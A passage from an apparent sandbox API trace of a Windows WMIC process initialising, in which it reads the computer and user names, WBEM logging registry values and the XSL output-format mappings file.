PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0058.679] free (_Block=0x6068b0) [0058.679] CloseHandle (hObject=0xf4) returned 1 [0058.714] malloc (_Size=0x40) returned 0x6068b0 [0058.714] malloc (_Size=0x40) returned 0x606900 [0058.714] malloc (_Size=0x40) returned 0x606950 [0058.714] malloc (_Size=0x20a) returned 0x6069a0 [0058.714] GetSystemDirectoryW (in: lpBuffer=0x6069a0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0058.714] free (_Block=0x6069a0) [0058.714] malloc (_Size=0x18) returned 0x607f90 [0058.715] malloc (_Size=0x18) returned 0x607fb0 [0058.715] malloc (_Size=0x18) returned 0x6069a0 [0058.715] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0058.715] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0058.715] free (_Block=0x607f90) [0058.715] free (_Block=0x607fb0) [0058.715] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76e30000 [0058.715] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40 [0058.715] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0058.716] FreeLibrary (hLibModule=0x76e30000) returned 1 [0058.716] free (_Block=0x6069a0) [0058.716] _vsnwprintf (in: _Buffer=0x606950, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x14f5c8 | out: _Buffer="ms_409") returned 6 [0058.716] malloc (_Size=0x20) returned 0x607f90 [0058.716] GetComputerNameW (in: lpBuffer=0x607f90, nSize=0x14f9a0 | out: lpBuffer="XDUWTFONO", nSize=0x14f9a0) returned 1 [0058.716] lstrlenW (lpString="XDUWTFONO") returned 9 [0058.716] malloc (_Size=0x14) returned 0x6069a0 [0058.716] lstrlenW (lpString="XDUWTFONO") returned 9 [0058.716] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x14f998 | out: lpNameBuffer=0x0, nSize=0x14f998) returned 0x7fffffde000 [0058.717] GetLastError () returned 0xea [0058.717] malloc (_Size=0x40) returned 0x6069c0 [0058.717] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6069c0, nSize=0x14f998 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x14f998) returned 0x1 [0058.718] lstrlenW (lpString="") returned 0 [0058.719] lstrlenW (lpString="XDUWTFONO") returned 9 [0058.719] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0058.721] lstrlenW (lpString=".") returned 1 [0058.721] lstrlenW (lpString="XDUWTFONO") returned 9 [0058.721] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0058.721] lstrlenW (lpString="LOCALHOST") returned 9 [0058.721] lstrlenW (lpString="XDUWTFONO") returned 9 [0058.721] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0058.721] lstrlenW (lpString="XDUWTFONO") returned 9 [0058.721] lstrlenW (lpString="XDUWTFONO") returned 9 [0058.721] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0058.721] free (_Block=0x6069a0) [0058.721] lstrlenW (lpString="XDUWTFONO") returned 9 [0058.721] malloc (_Size=0x14) returned 0x6069a0 [0058.721] lstrlenW (lpString="XDUWTFONO") returned 9 [0058.721] lstrlenW (lpString="XDUWTFONO") returned 9 [0058.721] malloc (_Size=0x14) returned 0x606a10 [0058.721] lstrlenW (lpString="XDUWTFONO") returned 9 [0058.721] malloc (_Size=0x8) returned 0x606a30 [0058.721] malloc (_Size=0x18) returned 0x606a50 [0058.721] malloc (_Size=0x30) returned 0x606a70 [0058.721] malloc (_Size=0x18) returned 0x606ab0 [0058.721] SysStringLen (param_1="IDENTIFY") returned 0x8 [0058.721] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0058.721] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0058.721] SysStringLen (param_1="IDENTIFY") returned 0x8 [0058.721] malloc (_Size=0x30) returned 0x606ad0 [0058.721] malloc (_Size=0x18) returned 0x606b10 [0058.721] SysStringLen (param_1="IMPERSONATE") returned 0xb [0058.722] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0058.722] SysStringLen (param_1="IMPERSONATE") returned 0xb [0058.722] SysStringLen (param_1="IDENTIFY") returned 0x8 [0058.722] SysStringLen (param_1="IDENTIFY") returned 0x8 [0058.722] SysStringLen (param_1="IMPERSONATE") returned 0xb [0058.722] malloc (_Size=0x30) returned 0x606b30 [0058.722] malloc (_Size=0x18) returned 0x606b70 [0058.722] SysStringLen (param_1="DELEGATE") returned 0x8 [0058.722] SysStringLen (param_1="IDENTIFY") returned 0x8 [0058.722] SysStringLen (param_1="DELEGATE") returned 0x8 [0058.722] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0058.722] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0058.722] SysStringLen (param_1="DELEGATE") returned 0x8 [0058.722] malloc (_Size=0x30) returned 0x606b90 [0058.722] malloc (_Size=0x18) returned 0x606bd0 [0058.722] malloc (_Size=0x30) returned 0x606bf0 [0058.722] malloc (_Size=0x18) returned 0x606c30 [0058.722] SysStringLen (param_1="NONE") returned 0x4 [0058.722] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.722] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.722] SysStringLen (param_1="NONE") returned 0x4 [0058.722] malloc (_Size=0x30) returned 0x606c50 [0058.722] malloc (_Size=0x18) returned 0x606c90 [0058.722] SysStringLen (param_1="CONNECT") returned 0x7 [0058.722] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.722] malloc (_Size=0x30) returned 0x606cb0 [0058.722] malloc (_Size=0x18) returned 0x606cf0 [0058.722] SysStringLen (param_1="CALL") returned 0x4 [0058.722] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.722] SysStringLen (param_1="CALL") returned 0x4 [0058.722] SysStringLen (param_1="CONNECT") returned 0x7 [0058.722] malloc (_Size=0x30) returned 0x606d10 [0058.723] malloc (_Size=0x18) returned 0x606d50 [0058.723] SysStringLen (param_1="PKT") returned 0x3 [0058.723] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.723] SysStringLen (param_1="PKT") returned 0x3 [0058.723] SysStringLen (param_1="NONE") returned 0x4 [0058.723] SysStringLen (param_1="NONE") returned 0x4 [0058.723] SysStringLen (param_1="PKT") returned 0x3 [0058.723] malloc (_Size=0x30) returned 0x606d70 [0058.723] malloc (_Size=0x18) returned 0x606db0 [0058.723] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0058.723] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.723] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0058.723] SysStringLen (param_1="NONE") returned 0x4 [0058.723] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0058.723] SysStringLen (param_1="PKT") returned 0x3 [0058.723] SysStringLen (param_1="PKT") returned 0x3 [0058.723] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0058.723] malloc (_Size=0x30) returned 0x608000 [0058.723] malloc (_Size=0x18) returned 0x606dd0 [0058.723] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0058.723] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.724] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0058.724] SysStringLen (param_1="PKT") returned 0x3 [0058.724] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0058.724] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0058.724] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0058.724] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0058.724] malloc (_Size=0x30) returned 0x608040 [0058.724] malloc (_Size=0x40) returned 0x606df0 [0058.724] malloc (_Size=0x20a) returned 0x606e40 [0058.724] GetSystemDirectoryW (in: lpBuffer=0x606e40, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0058.724] free (_Block=0x606e40) [0058.724] malloc (_Size=0x18) returned 0x606e40 [0058.724] malloc (_Size=0x18) returned 0x606e60 [0058.724] malloc (_Size=0x18) returned 0x606e80 [0058.724] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0058.724] SysStringLen (param_1="\\wbem\\") returned 0x6 [0058.724] free (_Block=0x606e40) [0058.724] free (_Block=0x606e60) [0058.724] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0058.724] free (_Block=0x606e80) [0058.724] malloc (_Size=0x18) returned 0x606e40 [0058.724] malloc (_Size=0x18) returned 0x606e60 [0058.724] malloc (_Size=0x18) returned 0x606e80 [0058.724] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0058.725] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0058.725] free (_Block=0x606e40) [0058.725] free (_Block=0x606e60) [0058.725] GetCurrentThreadId () returned 0xa7c [0058.725] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x14f2a0 | out: phkResult=0x14f2a0*=0xf8) returned 0x0 [0058.725] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x14f2f0, lpcbData=0x14f290*=0x400 | out: lpType=0x0, lpData=0x14f2f0*=0x30, lpcbData=0x14f290*=0x4) returned 0x0 [0058.725] _wcsicmp (_String1="0", _String2="1") returned -1 [0058.725] _wcsicmp (_String1="0", _String2="2") returned -2 [0058.725] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x14f290*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x14f290*=0x42) returned 0x0 [0058.725] malloc (_Size=0x86) returned 0x606ea0 [0058.725] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x606ea0, lpcbData=0x14f290*=0x42 | out: lpType=0x0, lpData=0x606ea0*=0x25, lpcbData=0x14f290*=0x42) returned 0x0 [0058.725] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0058.725] malloc (_Size=0x42) returned 0x606f30 [0058.725] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0058.725] RegQueryValueExW (in: hKey=0xf8, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x14f2f0, lpcbData=0x14f290*=0x400 | out: lpType=0x0, lpData=0x14f2f0*=0x36, lpcbData=0x14f290*=0xc) returned 0x0 [0058.725] _wtol (_String="65536") returned 65536 [0058.725] free (_Block=0x606ea0) [0058.725] RegCloseKey (hKey=0x0) returned 0x6 [0058.725] CoCreateInstance (in: rclsid=0xff4a7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff4a73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x14f798 | out: ppv=0x14f798*=0x20e71d0) returned 0x0 [0060.036] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x20e71d0, xmlSource=0x14f8e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x606e40), isSuccessful=0x14f950 | out: isSuccessful=0x14f950*=0xffff) returned 0x0 [0061.278] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x20e71d0, DOMElement=0x14f790 | out: DOMElement=0x14f790*=0x20ebc50) returned 0x0 [0061.278] malloc (_Size=0x18) returned 0x606e40 [0061.278] IXMLDOMElement:getElementsByTagName (in: This=0x20ebc50, tagName="XSLFORMAT", resultList=0x14f7a0 | out: resultList=0x14f7a0*=0x20e9cc0) returned 0x0 [0061.280] free (_Block=0x606e40) [0061.280] IXMLDOMNodeList:get_length (in: This=0x20e9cc0, listLength=0x14f968 | out: listLength=0x14f968*=21) returned 0x0 [0061.280] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=0, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.280] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="texttable.xsl") returned 0x0 [0061.280] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.280] malloc (_Size=0x18) returned 0x606e40 [0061.280] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.280] free (_Block=0x606e40) [0061.280] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="TABLE", varVal2=0x4)) returned 0x0 [0061.280] malloc (_Size=0x18) returned 0x606e40 [0061.281] malloc (_Size=0x18) returned 0x606e60 [0061.281] malloc (_Size=0x30) returned 0x608080 [0061.281] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.281] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.281] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.281] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=1, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.282] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="textvaluelist.xsl") returned 0x0 [0061.282] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.282] malloc (_Size=0x18) returned 0x607090 [0061.282] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.282] free (_Block=0x607090) [0061.282] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VALUE", varVal2=0x4)) returned 0x0 [0061.282] malloc (_Size=0x18) returned 0x60c560 [0061.282] malloc (_Size=0x18) returned 0x60c580 [0061.282] SysStringLen (param_1="VALUE") returned 0x5 [0061.282] SysStringLen (param_1="TABLE") returned 0x5 [0061.282] SysStringLen (param_1="TABLE") returned 0x5 [0061.282] SysStringLen (param_1="VALUE") returned 0x5 [0061.282] malloc (_Size=0x30) returned 0x6080c0 [0061.283] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.283] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.283] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.283] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=2, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.283] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="textvaluelist.xsl") returned 0x0 [0061.283] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.283] malloc (_Size=0x18) returned 0x60c5a0 [0061.283] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.283] free (_Block=0x60c5a0) [0061.283] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LIST", varVal2=0x4)) returned 0x0 [0061.283] malloc (_Size=0x18) returned 0x60c5a0 [0061.283] malloc (_Size=0x18) returned 0x60c5c0 [0061.283] SysStringLen (param_1="LIST") returned 0x4 [0061.283] SysStringLen (param_1="TABLE") returned 0x5 [0061.283] malloc (_Size=0x30) returned 0x608100 [0061.283] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.283] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.283] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.283] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=3, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.283] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="rawxml.xsl") returned 0x0 [0061.283] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.283] malloc (_Size=0x18) returned 0x60c5e0 [0061.283] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.284] free (_Block=0x60c5e0) [0061.284] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="RAWXML", varVal2=0x4)) returned 0x0 [0061.284] malloc (_Size=0x18) returned 0x60c5e0 [0061.284] malloc (_Size=0x18) returned 0x60c600 [0061.284] SysStringLen (param_1="RAWXML") returned 0x6 [0061.284] SysStringLen (param_1="TABLE") returned 0x5 [0061.284] SysStringLen (param_1="RAWXML") returned 0x6 [0061.284] SysStringLen (param_1="LIST") returned 0x4 [0061.284] SysStringLen (param_1="LIST") returned 0x4 [0061.284] SysStringLen (param_1="RAWXML") returned 0x6 [0061.284] malloc (_Size=0x30) returned 0x608140 [0061.284] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.284] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.284] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.284] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=4, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.284] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="htable.xsl") returned 0x0 [0061.284] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.284] malloc (_Size=0x18) returned 0x60c620 [0061.284] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.284] free (_Block=0x60c620) [0061.284] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HTABLE", varVal2=0x4)) returned 0x0 [0061.284] malloc (_Size=0x18) returned 0x60c620 [0061.284] malloc (_Size=0x18) returned 0x60c640 [0061.284] SysStringLen (param_1="HTABLE") returned 0x6 [0061.284] SysStringLen (param_1="TABLE") returned 0x5 [0061.285] SysStringLen (param_1="HTABLE") returned 0x6 [0061.285] SysStringLen (param_1="LIST") returned 0x4 [0061.285] malloc (_Size=0x30) returned 0x608180 [0061.285] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.285] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.285] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.285] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=5, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.285] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="hform.xsl") returned 0x0 [0061.285] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.285] malloc (_Size=0x18) returned 0x60c660 [0061.285] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.285] free (_Block=0x60c660) [0061.285] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HFORM", varVal2=0x4)) returned 0x0 [0061.285] malloc (_Size=0x18) returned 0x60c660 [0061.285] malloc (_Size=0x18) returned 0x60c680 [0061.285] SysStringLen (param_1="HFORM") returned 0x5 [0061.285] SysStringLen (param_1="TABLE") returned 0x5 [0061.285] SysStringLen (param_1="HFORM") returned 0x5 [0061.285] SysStringLen (param_1="LIST") returned 0x4 [0061.285] SysStringLen (param_1="HFORM") returned 0x5 [0061.285] SysStringLen (param_1="HTABLE") returned 0x6 [0061.285] malloc (_Size=0x30) returned 0x6081c0 [0061.285] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.285] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.285] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.285] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=6, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.285] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="xml.xsl") returned 0x0 [0061.286] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.286] malloc (_Size=0x18) returned 0x60c6a0 [0061.286] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.286] free (_Block=0x60c6a0) [0061.286] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XML", varVal2=0x4)) returned 0x0 [0061.286] malloc (_Size=0x18) returned 0x60c6a0 [0061.286] malloc (_Size=0x18) returned 0x60c6c0 [0061.286] SysStringLen (param_1="XML") returned 0x3 [0061.286] SysStringLen (param_1="TABLE") returned 0x5 [0061.286] SysStringLen (param_1="XML") returned 0x3 [0061.286] SysStringLen (param_1="VALUE") returned 0x5 [0061.286] SysStringLen (param_1="VALUE") returned 0x5 [0061.286] SysStringLen (param_1="XML") returned 0x3 [0061.286] malloc (_Size=0x30) returned 0x608200 [0061.286] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.286] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.286] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.286] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=7, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.286] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="mof.xsl") returned 0x0 [0061.286] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.286] malloc (_Size=0x18) returned 0x60c6e0 [0061.286] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.286] free (_Block=0x60c6e0) [0061.287] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MOF", varVal2=0x4)) returned 0x0 [0061.287] malloc (_Size=0x18) returned 0x60c6e0 [0061.287] malloc (_Size=0x18) returned 0x60c700 [0061.287] SysStringLen (param_1="MOF") returned 0x3 [0061.287] SysStringLen (param_1="TABLE") returned 0x5 [0061.287] SysStringLen (param_1="MOF") returned 0x3 [0061.287] SysStringLen (param_1="LIST") returned 0x4 [0061.287] SysStringLen (param_1="MOF") returned 0x3 [0061.287] SysStringLen (param_1="RAWXML") returned 0x6 [0061.287] SysStringLen (param_1="LIST") returned 0x4 [0061.287] SysStringLen (param_1="MOF") returned 0x3 [0061.287] malloc (_Size=0x30) returned 0x608240 [0061.287] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.287] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.287] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.287] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=8, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.287] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="csv.xsl") returned 0x0 [0061.287] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.287] malloc (_Size=0x18) returned 0x60c720 [0061.287] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.287] free (_Block=0x60c720) [0061.287] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CSV", varVal2=0x4)) returned 0x0 [0061.287] malloc (_Size=0x18) returned 0x60c720 [0061.288] malloc (_Size=0x18) returned 0x60c740 [0061.288] SysStringLen (param_1="CSV") returned 0x3 [0061.288] SysStringLen (param_1="TABLE") returned 0x5 [0061.288] SysStringLen (param_1="CSV") returned 0x3 [0061.288] SysStringLen (param_1="LIST") returned 0x4 [0061.288] SysStringLen (param_1="CSV") returned 0x3 [0061.288] SysStringLen (param_1="HTABLE") returned 0x6 [0061.288] SysStringLen (param_1="CSV") returned 0x3 [0061.288] SysStringLen (param_1="HFORM") returned 0x5 [0061.288] malloc (_Size=0x30) returned 0x608280 [0061.288] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.288] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.288] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.288] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=9, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.288] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="texttable.xsl") returned 0x0 [0061.288] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.288] malloc (_Size=0x18) returned 0x60c760 [0061.288] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.288] free (_Block=0x60c760) [0061.288] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys.xsl", varVal2=0x4)) returned 0x0 [0061.288] malloc (_Size=0x18) returned 0x60c760 [0061.288] malloc (_Size=0x18) returned 0x60c780 [0061.289] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.289] SysStringLen (param_1="TABLE") returned 0x5 [0061.289] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.289] SysStringLen (param_1="VALUE") returned 0x5 [0061.289] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.289] SysStringLen (param_1="XML") returned 0x3 [0061.289] SysStringLen (param_1="XML") returned 0x3 [0061.289] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0061.289] malloc (_Size=0x30) returned 0x6082c0 [0061.289] IUnknown:Release (This=0x20ebd50) returned 0x0 [0061.289] IUnknown:Release (This=0x20e78d0) returned 0x0 [0061.289] IUnknown:Release (This=0x20ea280) returned 0x0 [0061.289] IXMLDOMNodeList:get_item (in: This=0x20e9cc0, index=10, listItem=0x14f770 | out: listItem=0x14f770*=0x20ebd50) returned 0x0 [0061.289] IXMLDOMNode:get_text (in: This=0x20ebd50, text=0x14f780 | out: text=0x14f780*="texttable.xsl") returned 0x0 [0061.289] IXMLDOMNode:get_attributes (in: This=0x20ebd50, attributeMap=0x14f778 | out: attributeMap=0x14f778*=0x20e78d0) returned 0x0 [0061.289] malloc (_Size=0x18) returned 0x60c7a0 [0061.289] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20e78d0, name="KEYWORD", namedItem=0x14f788 | out: namedItem=0x14f788*=0x20ea280) returned 0x0 [0061.289] free (_Block=0x60c7a0) [0061.289] IXMLDOMNode:get_nodeValue (in: This=0x20ea280, value=0x14f7c0 | out: value=0x14f7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 